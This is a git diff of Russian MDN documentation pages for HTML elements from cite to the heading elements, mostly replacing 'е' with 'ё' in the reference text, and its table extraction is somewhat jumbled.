diff --git a/files/ru/web/html/element/cite/index.html b/files/ru/web/html/element/cite/index.html
index acc999a2a8..8a7bcb1875 100644
--- a/files/ru/web/html/element/cite/index.html
+++ b/files/ru/web/html/element/cite/index.html
@@ -10,13 +10,13 @@ translation_of: Web/HTML/Element/cite
 ---
 
              Описание
              
 
-
              HTML-элемент <cite> (от англ. Citation) представляет из себя ссылку на источник цитаты. Он должен включать в себя название произведения или URL, который может быть в сокращенном виде в соответствии с правилами, используемых для добавления метаданных цитирования.
              
+
              HTML-элемент <cite> (от англ. Citation) представляет из себя ссылку на источник цитаты. Он должен включать в себя название произведения или URL, который может быть в сокращённом виде в соответствии с правилами, используемых для добавления метаданных цитирования.
              
 
              Об использовании:
              
 
 
                
- 
              • Творческая работа может включать в себя книгу, статью, очерк, стихотворение, суждение, песню, сценарий, фильм, ТВ-шоу, игру, скульптуру, живопись, театральную постановку, пьесу, оперу, мюзикл, выставку, юридический отчет, компьютерную программу, веб-сайт, веб-страницу, сообщение или комментарий в блоге или на форуме, tweet, письменное или устное заявление и так далее.
                • 
+ 
              • Творческая работа может включать в себя книгу, статью, очерк, стихотворение, суждение, песню, сценарий, фильм, ТВ-шоу, игру, скульптуру, живопись, театральную постановку, пьесу, оперу, мюзикл, выставку, юридический отчёт, компьютерную программу, веб-сайт, веб-страницу, сообщение или комментарий в блоге или на форуме, tweet, письменное или устное заявление и так далее.
                • 
  
              • Спецификация W3C утверждает, что ссылка на творческую работу может содержать имя автора, в то время, как WHATWG заявляет, что она не может включать имя человека ни в коем случае.
                • 
  
              • Используйте атрибут {{htmlattrxref("cite", "blockquote")}} элемента {{HTMLElement("blockquote")}} или элемента {{HTMLElement("q")}} для ссылки на интернет-ресурс источника.
                • 
 
              
diff --git a/files/ru/web/html/element/col/index.html b/files/ru/web/html/element/col/index.html
index 47b0998714..9e0fa31592 100644
--- a/files/ru/web/html/element/col/index.html
+++ b/files/ru/web/html/element/col/index.html
@@ -80,7 +80,7 @@ translation_of: Web/HTML/Element/col
 
 
              
  
              {{htmlattrdef("bgcolor")}} {{Non-standard_inline}}
              
- 
              Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-и значных кодов в шестнадцатеричной системе счисления, определенный как sRGB с префиксом '#'. Можно использовать одну из шестнадцати предопределенных строк:
+ 
              Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-и значных кодов в шестнадцатеричной системе счисления, определённый как sRGB с префиксом '#'. Можно использовать одну из шестнадцати предопределённых строк:
  
              
  
 
 
              Секционный корень
   
              
   
              Разрешенное содержимоеРазрешённое содержимое
    Потоковый контент.
   
              
   
              Открывающий тег может быть пропущен, если первое, что находится внутри него, не является пробелом, комментарием, элементом {{HTMLElement("script")}} или элементом {{HTMLElement("style")}}. Закрывающий тег может быть пропущен если элемент <body> содержит контент или имеет открывающий тег, и за ним сразу не следует комментарий.
   
              
   
              Разрешенные родительские элементыРазрешённые родительские элементы
    Этот элемент должен быть вторым в элементе {{HTMLElement("html")}}
   
              
   
              Разрешенные роли ARIAРазрешённые роли ARIA
    Отсутствуют
   
              
   
              
  
  
  
  
  
  
  
 
 
 
              
    {{SpecName('HTML WHATWG', 'semantics.html#the-body-element', '<body>')}}
    {{Spec2('HTML WHATWG')}}Изменен список несогласованных свойств.Изменён список несогласованных свойств.
   
              
   
              
    {{SpecName('HTML5 W3C', 'sections.html#the-body-element', '<body>')}}
 
 Нет
   
              
   
              Разрешенное содержимоеРазрешённое содержимое
    Потоковый контент.
   
              
   
              Конечный тег может быть опущен, если элемент не следует сразу за ASCII пробелом или комментарием.
   
              
   
              Разрешенные родителиРазрешённые родители
    Элемент {{HTMLElement("table")}} как его первый потомок
   
              
   
              Разрешенные ARIA-ролиРазрешённые ARIA-роли
    Нет
   
              
   
              
 
 
              
diff --git a/files/ru/web/html/element/data/index.html b/files/ru/web/html/element/data/index.html
index 776121917f..534077bc41 100644
--- a/files/ru/web/html/element/data/index.html
+++ b/files/ru/web/html/element/data/index.html
@@ -90,7 +90,7 @@ translation_of: Web/HTML/Element/data
 
 
              Поддержка браузерами
              
 
-
+
              {{Compat("html.elements.data")}}
              
 
diff --git a/files/ru/web/html/element/datalist/index.html b/files/ru/web/html/element/datalist/index.html
index 8af1475c47..a10e49870b 100644
--- a/files/ru/web/html/element/datalist/index.html
+++ b/files/ru/web/html/element/datalist/index.html
@@ -95,7 +95,7 @@ translation_of: Web/HTML/Element/datalist
 
 
              Поддержка браузерами
              
 
-
+
              {{Compat("html.elements.datalist")}}
              
 
diff --git a/files/ru/web/html/element/dd/index.html b/files/ru/web/html/element/dd/index.html
index 19f937c1c3..747f73b779 100644
--- a/files/ru/web/html/element/dd/index.html
+++ b/files/ru/web/html/element/dd/index.html
@@ -99,7 +99,7 @@ translation_of: Web/HTML/Element/dd
 
 
              Поддержка браузерами
              
 
-
+
              {{Compat("html.elements.dd")}}
              
 
diff --git a/files/ru/web/html/element/del/index.html b/files/ru/web/html/element/del/index.html
index 7c6e497506..73bf36f3ed 100644
--- a/files/ru/web/html/element/del/index.html
+++ b/files/ru/web/html/element/del/index.html
@@ -5,13 +5,13 @@ tags:
   - доступность
 translation_of: Web/HTML/Element/del
 ---
-
              Элемент HTML <del> представляет диапазон текста, который был удален из документа. Он может быть использован, например, при отображении "отслеживания изменений" или различий в исходном коде. Элемент {{HTMLElement("ins")}} можно использовать для противоположной цели: указание текста, который был добавлен в документ.
              
+
              Элемент HTML <del> представляет диапазон текста, который был удалён из документа. Он может быть использован, например, при отображении "отслеживания изменений" или различий в исходном коде. Элемент {{HTMLElement("ins")}} можно использовать для противоположной цели: указание текста, который был добавлен в документ.
              {{EmbedInteractiveExample("pages/tabbed/del.html", "tabbed-standard")}}
              
 
-
              Этот элемент часто (но не обязательно) отображается с помощью применения зачеркнутого стиля к тексту.
              
+
              Этот элемент часто (но не обязательно) отображается с помощью применения зачёркнутого стиля к тексту.
              
   
    
              
 
 
 
 
 
 
 
 
 
 
 
 
              
@@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/del
    
-   
+   
@@ -89,7 +89,7 @@ del::after {
 }
 
 
-
              Некоторые люди, использующие программы чтения с экрана, сознательно отключают определение контента, что создает дополнительную многословность. Поэтому важно не злоупотреблять этой техникой, применяя ее только в ситуациях, когда незнание контента, который был удален, может негативно повлиять на восприятие.
              
+
              Некоторые люди, использующие программы чтения с экрана, сознательно отключают определение контента, что создаёт дополнительную многословность. Поэтому важно не злоупотреблять этой техникой, применяя её только в ситуациях, когда незнание контента, который был удалён, может негативно повлиять на восприятие.
                
  
              • Короткая заметка о создании своих меток (больше доступности) | The Paciello Group
                • 
@@ -136,7 +136,7 @@ del::after {
 
                  
  
                • {{HTMLElement("ins")}} элемент для вставки в текст
                  • 
  
                • 
-  
                  {{HTMLElement("s")}} элемент для зачеркивания, отдельный от представления удаленного текста
                  
+  
                  {{HTMLElement("s")}} элемент для зачёркивания, отдельный от представления удалённого текста
                  
  
                  • 
 
                
 
diff --git a/files/ru/web/html/element/details/index.html b/files/ru/web/html/element/details/index.html
index 59a325fa0e..bbc3bc41be 100644
--- a/files/ru/web/html/element/details/index.html
+++ b/files/ru/web/html/element/details/index.html
@@ -76,7 +76,7 @@ translation_of: Web/HTML/Element/details
 
                {{EmbedLiveSample("Example")}}
                
 
 
                
-
                Примечание: Если приведенный выше пример не работает, см. {{anch("Browser compatibility")}} , чтобы определить поддерживает ли вообще ваш браузер эту функцию. 
                
+
                Примечание: Если приведённый выше пример не работает, см. {{anch("Browser compatibility")}} , чтобы определить поддерживает ли вообще ваш браузер эту функцию. 
                
 
                
 
 
                Примеры стилизации
                
diff --git a/files/ru/web/html/element/dfn/index.html b/files/ru/web/html/element/dfn/index.html
index c34e105cbd..05e0214d31 100644
--- a/files/ru/web/html/element/dfn/index.html
+++ b/files/ru/web/html/element/dfn/index.html
@@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/dfn
    
              
-   
+   
@@ -28,11 +28,11 @@ translation_of: Web/HTML/Element/dfn
    
-   
+   
-   
+   
@@ -68,7 +68,7 @@ translation_of: Web/HTML/Element/dfn
 
 
              Ссылки на <dfn> элементы
              
 
-
              Если вы включаете атрибут {{htmlattrxref("id")}} в <dfn> элемент, вы можете ссылаться на него, используя {{HTMLElement("a")}} элементы. Они должны ссылаться на использование термина, чтобы читатель смог быстро перейти к определению термина, если он еще не знает его, нажав на ссылку термина.
              
+
              Если вы включаете атрибут {{htmlattrxref("id")}} в <dfn> элемент, вы можете ссылаться на него, используя {{HTMLElement("a")}} элементы. Они должны ссылаться на использование термина, чтобы читатель смог быстро перейти к определению термина, если он ещё не знает его, нажав на ссылку термина.
              Это показано ниже в примере {{anch("Ссылки на определения")}}.
              
 
@@ -112,7 +112,7 @@ translation_of: Web/HTML/Element/dfn
 
 
              Ссылки на определения
              
 
-
              Чтобы добавить ссылки к определениям, вы создаете ссылку так же, как и всегда, с {{HTMLElement("a")}} элементом. <p><strong>Элемент определения HTML</strong> (<strong><dfn>&lt;dfn&gt;</dfn></strong>) используется для обозначения термина, определяемого в контексте фразы или предложения. </p>
              
+
              Чтобы добавить ссылки к определениям, вы создаёте ссылку так же, как и всегда, с {{HTMLElement("a")}} элементом. <p><strong>Элемент определения HTML</strong> (<strong><dfn>&lt;dfn&gt;</dfn></strong>) используется для обозначения термина, определяемого в контексте фразы или предложения. </p>
              HTML
              
 
@@ -136,7 +136,7 @@ enim possumus hoc agere divinius?</p>
 
 
               
              
 
-
              Здесь мы видим определение - теперь с атрибутом {{htmlattrxref("id")}} «definition-dfn», который может использоваться в качестве цели для ссылки. Позднее создается ссылка с использованием <a> и с {{htmlattrxref("href", "a")}}атрибутом, установленным на «#definition-dfn», чтобы установить ссылку обратно на определение.
              
+
              Здесь мы видим определение - теперь с атрибутом {{htmlattrxref("id")}} «definition-dfn», который может использоваться в качестве цели для ссылки. Позднее создаётся ссылка с использованием <a> и с {{htmlattrxref("href", "a")}}атрибутом, установленным на «#definition-dfn», чтобы установить ссылку обратно на определение.
              Результат
              
 
@@ -158,11 +158,11 @@ enim possumus hoc agere divinius?</p>
 <p>Действительно, HST, возможно, <abbr title="Hubble Space Telescope"></abbr> сделал больше
 для развития науки, чем любое другое устройство, когда-либо созданное.</p> 
 
-
              Обратите внимание на <abbr> элемент, вложенный в <dfn>. Первый устанавливает, что термин является аббревиатурой («HST») и определяет полный термин («Hubble Space Telescope (Космический телескоп „Хаббл“)») в своем атрибуте title. Последнее указывает на то, что сокращенный термин представляет собой определяемый термин.
              
+
              Обратите внимание на <abbr> элемент, вложенный в <dfn>. Первый устанавливает, что термин является аббревиатурой («HST») и определяет полный термин («Hubble Space Telescope (Космический телескоп „Хаббл“)») в своём атрибуте title. Последнее указывает на то, что сокращённый термин представляет собой определяемый термин.
              Результат
              
 
-
              Вывод приведенного выше кода выглядит следующим образом:
              
+
              Вывод приведённого выше кода выглядит следующим образом:
              {{ EmbedLiveSample('HTML_3', '', '', '', 'Web/HTML/Element/dfn') }}
              
 
diff --git a/files/ru/web/html/element/dialog/index.html b/files/ru/web/html/element/dialog/index.html
index 38ca0276b5..3143ca9b83 100644
--- a/files/ru/web/html/element/dialog/index.html
+++ b/files/ru/web/html/element/dialog/index.html
@@ -34,7 +34,7 @@ translation_of: Web/HTML/Element/dialog
   
-   
+   
diff --git a/files/ru/web/html/element/div/index.html b/files/ru/web/html/element/div/index.html
index 27ca73a4ae..503e8e24a8 100644
--- a/files/ru/web/html/element/div/index.html
+++ b/files/ru/web/html/element/div/index.html
@@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/div
    
-   
+   
@@ -39,12 +39,12 @@ translation_of: Web/HTML/Element/div
    
-   
+   
-   
+   
@@ -119,7 +119,7 @@ translation_of: Web/HTML/Element/div
   
-   
+   
diff --git a/files/ru/web/html/element/dl/index.html b/files/ru/web/html/element/dl/index.html
index 037d3e61c5..195584e4cd 100644
--- a/files/ru/web/html/element/dl/index.html
+++ b/files/ru/web/html/element/dl/index.html
@@ -118,7 +118,7 @@ translation_of: Web/HTML/Element/dl
 
 
              Множественные термины и определения
              
 
-
              Кроме того, можно определить несколько терминов с несколькими соответствующими определениями, путем комбинирования приведенных выше примеров.
              
+
              Кроме того, можно определить несколько терминов с несколькими соответствующими определениями, путём комбинирования приведённых выше примеров.
              Метаданные
              
 
@@ -211,7 +211,7 @@ translation_of: Web/HTML/Element/dl
 
 
              Поддержка браузерами
              
 
-
+
              {{Compat("html.elements.dl")}}
              
 
diff --git a/files/ru/web/html/element/dt/index.html b/files/ru/web/html/element/dt/index.html
index 093e46aa6d..d46393c7c8 100644
--- a/files/ru/web/html/element/dt/index.html
+++ b/files/ru/web/html/element/dt/index.html
@@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/dt
 ---
 
              {{HTMLRef}}
              
 
-
              HTML-элемент <dt> который определяет термин в описании или списке определений, как таковой должен использоваться внутри элемента  {{HTMLElement("dl")}} . Обычно за ним следует элемент {{HTMLElement("dd")}}. Кроме того, несколько элементов <dt> идущие друг за другом будут содержать свое определение в следующем идущем за ним элементом{{HTMLElement("dd")}}.
              
+
              HTML-элемент <dt> который определяет термин в описании или списке определений, как таковой должен использоваться внутри элемента  {{HTMLElement("dl")}} . Обычно за ним следует элемент {{HTMLElement("dd")}}. Кроме того, несколько элементов <dt> идущие друг за другом будут содержать своё определение в следующем идущем за ним элементом{{HTMLElement("dd")}}.
              Последующий элемент {{HTMLElement("dd")}} (от англ. Description Details) предоставляет определение или другой связанный текст, относящийся к термину, указанным с помощью <dt>.
              
 
@@ -91,7 +91,7 @@ translation_of: Web/HTML/Element/dt
 
 
              Поддержка браузерами
              
 
-
+
              {{Compat("html.elements.dt")}}
              
 
diff --git a/files/ru/web/html/element/em/index.html b/files/ru/web/html/element/em/index.html
index 1ceea62afd..0a1ae9d801 100644
--- a/files/ru/web/html/element/em/index.html
+++ b/files/ru/web/html/element/em/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/em
 ---
 
              {{HTMLRef}}
              
 
-
              HTML <em> элемент отмечает акцентируемый текст. Элемент <em> может быть вложенным, причем каждый уровень вложенности указывает на большую степень акцента.
              
+
              HTML <em> элемент отмечает акцентируемый текст. Элемент <em> может быть вложенным, причём каждый уровень вложенности указывает на большую степень акцента.
              
  
              Фразовый контент или потоковый контент.
   
              
   
              Разрешенный контентРазрешённый контент
    Прозрачный.
   
              
   
              
 
 Потоковый контент, фразовый контент, явный контент.
   
              
   
              Разрешенный контентРазрешённый контент
    Фразовый контент, но ни один {{HTMLElement("dfn")}} элемент не должен быть потомком.
   
              
   
              {{no_tag_omission}}
   
              
   
              Разрешенные родителиРазрешённые родители
    Любой элемент, который принимает фразовый контент.
   
              
   
              Разрешенные роли ARIAРазрешённые роли ARIA
    Любые
   
              
   
              
 
 
 
 
 
 
 
 
 
 
              
   
              
    Разрешённые родительские элементыЛюбой элемент, в котором разрешен основной потокЛюбой элемент, в котором разрешён основной поток
   
              
   
              
    DOM-интерфейсПотоковый контент, явный контент.
   
              
   
              Разрешенное содержимоеРазрешённое содержимое
    Потоковый контент или (в {{glossary("WHATWG")}} HTML), если родительским является элемент {{HTMLElement("dl")}}: один или несколько элементов {{HTMLElement("dt")}}, сопровождаемых одним или более элементами {{HTMLElement("dd")}}, в ряде случаев смешанных с элементами {{HTMLElement("script")}} и {{HTMLElement("template")}}.
   
              
   
              Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
   
              
   
              Разрешенные родительские элементыРазрешённые родительские элементы
    Любой элемент, который разрешает потоковый контент в качестве содержимого..
              
     Или (в {{glossary("WHATWG")}} HTML): элемент {{HTMLElement("dl")}}.              		
   
              
   
              Разрешенные роли ARIAРазрешённые роли ARIA
    Любые
   
              
   
              
    {{SpecName('HTML WHATWG', 'grouping-content.html#the-div-element', '<div>')}}
    {{Spec2('HTML WHATWG')}}Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохраненное в определенный момент времени)Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохранённое в определённый момент времени)
   
              
   
              
    {{SpecName('HTML5 W3C', 'grouping-content.html#the-div-element', '<div>')}}
 
 
 
 
 
 
 
 
 
 
              
@@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/em
    
-   
+   
@@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/em
    
-   
+   
-   
+   
@@ -42,9 +42,9 @@ translation_of: Web/HTML/Element/em
 
 
              Примечания по использованию
              
 
-
              Элемент <em> предназначен для слов, которые имеют подчеркнутый акцент по сравнению с окружающим текстом, который часто ограничивается словом или словами предложения и влияет на смысл самого предложения.
              
+
              Элемент <em> предназначен для слов, которые имеют подчёркнутый акцент по сравнению с окружающим текстом, который часто ограничивается словом или словами предложения и влияет на смысл самого предложения.
              
 
-
              Обычно этот элемент отображается курсивом. Однако его не следует использовать просто для применения курсивного стиля; для этой цели используйте свойство CSS {{cssxref("font-style")}}. Используйте элемент {{HTMLElement("cite")}}, чтобы пометить название произведения (книги, пьесы, песни и т. д.). Используйте элемент {{HTMLElement("i")}}, чтобы пометить текст в альтернативном тоне или настроении, который охватывает многие распространенные ситуации курсива, такие как научные имена или слова на других языках. Используйте элемент {{HTMLElement("strong")}}, чтобы пометить текст, который имеет большее значение, чем окружающий текст.
              
+
              Обычно этот элемент отображается курсивом. Однако его не следует использовать просто для применения курсивного стиля; для этой цели используйте свойство CSS {{cssxref("font-style")}}. Используйте элемент {{HTMLElement("cite")}}, чтобы пометить название произведения (книги, пьесы, песни и т. д.). Используйте элемент {{HTMLElement("i")}}, чтобы пометить текст в альтернативном тоне или настроении, который охватывает многие распространённые ситуации курсива, такие как научные имена или слова на других языках. Используйте элемент {{HTMLElement("strong")}}, чтобы пометить текст, который имеет большее значение, чем окружающий текст.
              < i> против <em>
              
 
@@ -56,7 +56,7 @@ translation_of: Web/HTML/Element/em
 
 
              Примером для <em> может быть: -«Просто сделай это!», или: «Мы должны были что-то с этим сделать». Человек или программа, читающие текст, будут произносить слова, выделенные курсивом, с ударением, используя словесное ударение.
              
 
-
              Примером для <i> может быть: «Королева Мэри отплыла прошлой ночью». Здесь нет никакого дополнительного акцента или важности на слове "Королева Мэри". Просто указывается, что речь идет не о королеве по имени Мария, а о корабле по имени Королева Мария. Другим примером для <i> может быть: «Слово ‘the’  это артикль».
              
+
              Примером для <i> может быть: «Королева Мэри отплыла прошлой ночью». Здесь нет никакого дополнительного акцента или важности на слове "Королева Мэри". Просто указывается, что речь идёт не о королеве по имени Мария, а о корабле по имени Королева Мария. Другим примером для <i> может быть: «Слово ‘the’  это артикль».
              Пример
              
 
diff --git a/files/ru/web/html/element/embed/index.html b/files/ru/web/html/element/embed/index.html
index 7fbe94c866..7069cf7d44 100644
--- a/files/ru/web/html/element/embed/index.html
+++ b/files/ru/web/html/element/embed/index.html
@@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/embed
 
 
 
-
              {{Note("Этот раздел посвящен только элементу, который является частью стандарта HTML5, и никак не касается ранних, нестандартизированных его реализаций.")}}
              
+
              {{Note("Этот раздел посвящён только элементу, который является частью стандарта HTML5, и никак не касается ранних, нестандартизированных его реализаций.")}}
              Имейте ввиду, что большинство современных браузеров посчитали устаревшей и удалили поддержку встраивания плагинов, так что использование <embed>, как правило, не рекомендуется, если вы хотите, чтобы ваш сайт одинаково работал у всех его пользователей.
              
 
@@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/embed
    
-   
+   
@@ -43,7 +43,7 @@ translation_of: Web/HTML/Element/embed
    
-   
+   
@@ -115,7 +115,7 @@ translation_of: Web/HTML/Element/embed
 
 
                
  
              • Другие элементы, используемые для встраивания различного рода контента: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, and {{HTMLElement("video")}}.
                • 
- 
              • Свойства, для позиционирования и определения размера внедренного контента в его фрейме: {{cssxref("object-position")}} and {{cssxref("object-fit")}}
                • 
+ 
              • Свойства, для позиционирования и определения размера внедрённого контента в его фрейме: {{cssxref("object-position")}} and {{cssxref("object-fit")}}
                • 
 
              {{ HTMLRef }}
              
diff --git a/files/ru/web/html/element/fieldset/index.html b/files/ru/web/html/element/fieldset/index.html
index 2d526b1275..f6cae1b5b4 100644
--- a/files/ru/web/html/element/fieldset/index.html
+++ b/files/ru/web/html/element/fieldset/index.html
@@ -54,9 +54,9 @@ translation_of: Web/HTML/Element/fieldset
 
 
              {{ EmbedLiveSample('Простой_fieldset', '100%', '80') }}
              
 
-
              Отключенный fieldset
              
+
              Отключённый fieldset
              
 
-
              Этот пример показывает отключенный <fieldset> с двумя элементами управления внутри.
              
+
              Этот пример показывает отключённый <fieldset> с двумя элементами управления внутри.
              <form action="#">
   <fieldset disabled>
@@ -72,7 +72,7 @@ translation_of: Web/HTML/Element/fieldset
   </fieldset>
 </form>
              
 
-
              {{ EmbedLiveSample('Отключенный_fieldset', '100%', '110') }}
              
+
              {{ EmbedLiveSample('Отключённый_fieldset', '100%', '110') }}
              Техническая сводка
              
 
diff --git a/files/ru/web/html/element/figcaption/index.html b/files/ru/web/html/element/figcaption/index.html
index b452665035..4250d317af 100644
--- a/files/ru/web/html/element/figcaption/index.html
+++ b/files/ru/web/html/element/figcaption/index.html
@@ -79,7 +79,7 @@ translation_of: Web/HTML/Element/figcaption
 
 
              Поддержка браузерами
              
 
-
+
              {{Compat("html.elements.figcaption")}}
              
 
diff --git a/files/ru/web/html/element/figure/index.html b/files/ru/web/html/element/figure/index.html
index 2842179eff..5a04e50384 100644
--- a/files/ru/web/html/element/figure/index.html
+++ b/files/ru/web/html/element/figure/index.html
@@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/figure
 
              Примечания по использованию
                
- 
              • Обычно <figure> это рисунок, иллюстрация, диаграмма, фрагмент кода, и т.д., на который ссылаются в основном потоке документа, но может быть перенесен в другую часть документа или в приложение не нарушив основной поток.
                • 
+ 
              • Обычно <figure> это рисунок, иллюстрация, диаграмма, фрагмент кода, и т.д., на который ссылаются в основном потоке документа, но может быть перенесён в другую часть документа или в приложение не нарушив основной поток.
                • 
  
              • Являясь секционным корнем, структура содержимого элемента <figure> исключается из основной структуры документа.
                • 
  
              • Подпись может быть связана с элементом <figure> с помощью вставки {{HTMLElement("figcaption")}} внутри него (как первый или последний потомок). Первый элемент <figcaption> в иллюстрации предоставляет её подпись (заголовок).
                • 
 
              
diff --git a/files/ru/web/html/element/font/index.html b/files/ru/web/html/element/font/index.html
index b3c1310ab8..62125859fc 100644
--- a/files/ru/web/html/element/font/index.html
+++ b/files/ru/web/html/element/font/index.html
@@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/font
 
 
               
              
 
-
              Начиная с HTML 4, HTML больше не передает информацию о стиле (вне элемента {{HTMLElement ("style")}} или атрибута style для каждого элемента). Для любой новой веб-разработки стили должны быть написаны только с использованием CSS.
+
              Начиная с HTML 4, HTML больше не передаёт информацию о стиле (вне элемента {{HTMLElement ("style")}} или атрибута style для каждого элемента). Для любой новой веб-разработки стили должны быть написаны только с использованием CSS.
 
 Предыдущее поведение элемента {{HTMLElement ("font")}} может быть достигнуто и даже лучше контролироваться с помощью CSS CSS-свойств шрифтов.
              
 
@@ -38,7 +38,7 @@ translation_of: Web/HTML/Element/font
  
  
              {{htmlattrdef("face")}}
              
  
              
- 
              Этот атрибут содержит список разделенных запятыми одного или нескольких имен шрифтов. Текст документа в стиле по умолчанию отображается на первой грани шрифта, поддерживаемой браузером клиента. Если в локальной системе не указан шрифт, браузер обычно по умолчанию использует пропорциональный или фиксированный шрифт для этой системы.
              
+ 
              Этот атрибут содержит список разделённых запятыми одного или нескольких имён шрифтов. Текст документа в стиле по умолчанию отображается на первой грани шрифта, поддерживаемой браузером клиента. Если в локальной системе не указан шрифт, браузер обычно по умолчанию использует пропорциональный или фиксированный шрифт для этой системы.
              
  
              
  
              {{htmlattrdef("size")}}
              
  
              
diff --git a/files/ru/web/html/element/footer/index.html b/files/ru/web/html/element/footer/index.html
index b27f1eeb6b..8d57357ab7 100644
--- a/files/ru/web/html/element/footer/index.html
+++ b/files/ru/web/html/element/footer/index.html
@@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/footer
    
              
-   
+   
@@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/footer
    
-   
+   
-   
+   
@@ -55,7 +55,7 @@ translation_of: Web/HTML/Element/footer
 
 
                
  
              • Заключите информацию об авторе в элемент {{HTMLElement("address")}}, который может быть добавлен в элемент <footer>.
                • 
- 
              • Элемент <footer> не относится к секционному контенту, а значит не создает новый раздел в структуре HTML-документа.
                • 
+ 
              • Элемент <footer> не относится к секционному контенту, а значит не создаёт новый раздел в структуре HTML-документа.
                • 
 
              Примеры
              
diff --git a/files/ru/web/html/element/form/index.html b/files/ru/web/html/element/form/index.html
index 070dc37cc3..f826d9ed93 100644
--- a/files/ru/web/html/element/form/index.html
+++ b/files/ru/web/html/element/form/index.html
@@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/form
 
 
              
  
              {{htmlattrdef("accept")}} {{HTMLVersionInline(4)}} {{obsolete_inline}}
              
- 
              Список типов содержимого, разделенных запятой, которые принимает сервер.
+ 
              Список типов содержимого, разделённых запятой, которые принимает сервер.
  
              Примечание об использовании: Этот атрибут был удалён в HTML5 и его не следует больше использовать. Взамен, используйте {{htmlattrxref("accept", "input")}} атрибут заданного {{HTMLElement("input")}} элемента.
              
  
              
  
              {{htmlattrdef("accept-charset")}}
              
- 
              Разделенные пробелами символьные кодировки, которые принимает сервер. Браузер использует их в том порядке, в котором они перечислены. Значение по умолчанию означает ту же кодировку что и у страницы.
              
+ 
              Разделённые пробелами символьные кодировки, которые принимает сервер. Браузер использует их в том порядке, в котором они перечислены. Значение по умолчанию означает ту же кодировку что и у страницы.
              
  (В предыдущей версии HTML, различные кодировки могли быть разделены запятыми.)
              
  
              {{htmlattrdef("action")}}
              
  
              URI-адрес программы, которая обрабатывает информацию переданную через форму. Это значение может быть переписано с помощью атрибута {{htmlattrxref("formaction", "button")}} на {{HTMLElement("button")}} или {{HTMLElement("input")}} элементе.
              
diff --git a/files/ru/web/html/element/head/index.html b/files/ru/web/html/element/head/index.html
index d3b60218c1..21fa32018b 100644
--- a/files/ru/web/html/element/head/index.html
+++ b/files/ru/web/html/element/head/index.html
@@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/head
    
              
-   
+   
-   
+   
@@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/head
 
 
              
  
              {{htmlattrdef("profile")}} {{obsolete_inline}}
              
- 
              {{glossary("URI")}} одного или более профилей метаданных, разделенных пробелами.
              
+ 
              {{glossary("URI")}} одного или более профилей метаданных, разделённых пробелами.
              
 
              Пример
              
@@ -90,7 +90,7 @@ translation_of: Web/HTML/Element/head
   
-   
+   
diff --git a/files/ru/web/html/element/header/index.html b/files/ru/web/html/element/header/index.html
index b9a383cc64..9aca0b1967 100644
--- a/files/ru/web/html/element/header/index.html
+++ b/files/ru/web/html/element/header/index.html
@@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/header
    
-   
+   
@@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/header
    
-   
+   
-   
+   
@@ -49,7 +49,7 @@ translation_of: Web/HTML/Element/header
 
 
              Примечание
              
 
-
              Элемент <header> не относится к секционному контенту , а значит не создает новый раздел в структуре HTML-документа. При этом элемент <header> обычно должен содержать заголовок ближайшего раздела (элементы h1-h6), но это не обязательно.
              
+
              Элемент <header> не относится к секционному контенту , а значит не создаёт новый раздел в структуре HTML-документа. При этом элемент <header> обычно должен содержать заголовок ближайшего раздела (элементы h1-h6), но это не обязательно.
              Историческое употребление
              
 
@@ -76,7 +76,7 @@ translation_of: Web/HTML/Element/header
     <h2>Планета Земля</h2>
     <p>Опубликовано в среду, 4 октября 2017, Джейн Смит</p>
   </header>
-  <p>Мы живем на сине-зеленой планете, на которой до сих пор так много неизведанного.</p>
+  <p>Мы живём на сине-зелёной планете, на которой до сих пор так много неизведанного.</p>
   <p><a href="https://janesmith.com/the-planet-earth/">Продолжить чтение...</a></p>
 </article>
 
diff --git a/files/ru/web/html/element/heading_elements/index.html b/files/ru/web/html/element/heading_elements/index.html
index 8917869d9f..9b7f70b0a6 100644
--- a/files/ru/web/html/element/heading_elements/index.html
+++ b/files/ru/web/html/element/heading_elements/index.html
@@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/Heading_Elements
    
-   
+   
@@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/Heading_Elements
    
-   
+   
-   
+   
@@ -166,7 +166,7 @@ translation_of: Web/HTML/Element/Heading_Elements
 
 
              Содержание раздела маркировки
              
 
-
              Другим распространенным методом навигации для пользователей программ чтения с экрана является создание списка содержимого секций и использование его для определения макета страницы.
              
+
              Другим распространённым методом навигации для пользователей программ чтения с экрана является создание списка содержимого секций и использование его для определения макета страницы.
              Содержимое секционирования можно пометить, используя комбинацию aria-labelledby и {{htmlattrxref("id")}} атрибута, с ярлыком, кратко описывающим назначение раздела. Этот метод полезен в ситуациях, когда на одной странице имеется более одного элемента секционирования.
              
 
@@ -189,7 +189,7 @@ translation_of: Web/HTML/Element/Heading_Elements
 </footer>
 
 
-
              В этом примере технология чтения с экрана объявила бы, что есть два {{HTMLElement("nav")}} разделы, один называется «Основная навигация», а другой - «Нижний колонтитул». Если ярлыки не были предоставлены, человеку, использующему программное обеспечение для чтения с экрана, возможно, придется расследовать каждый nav содержание элемента, чтобы определить их назначение.
              
+
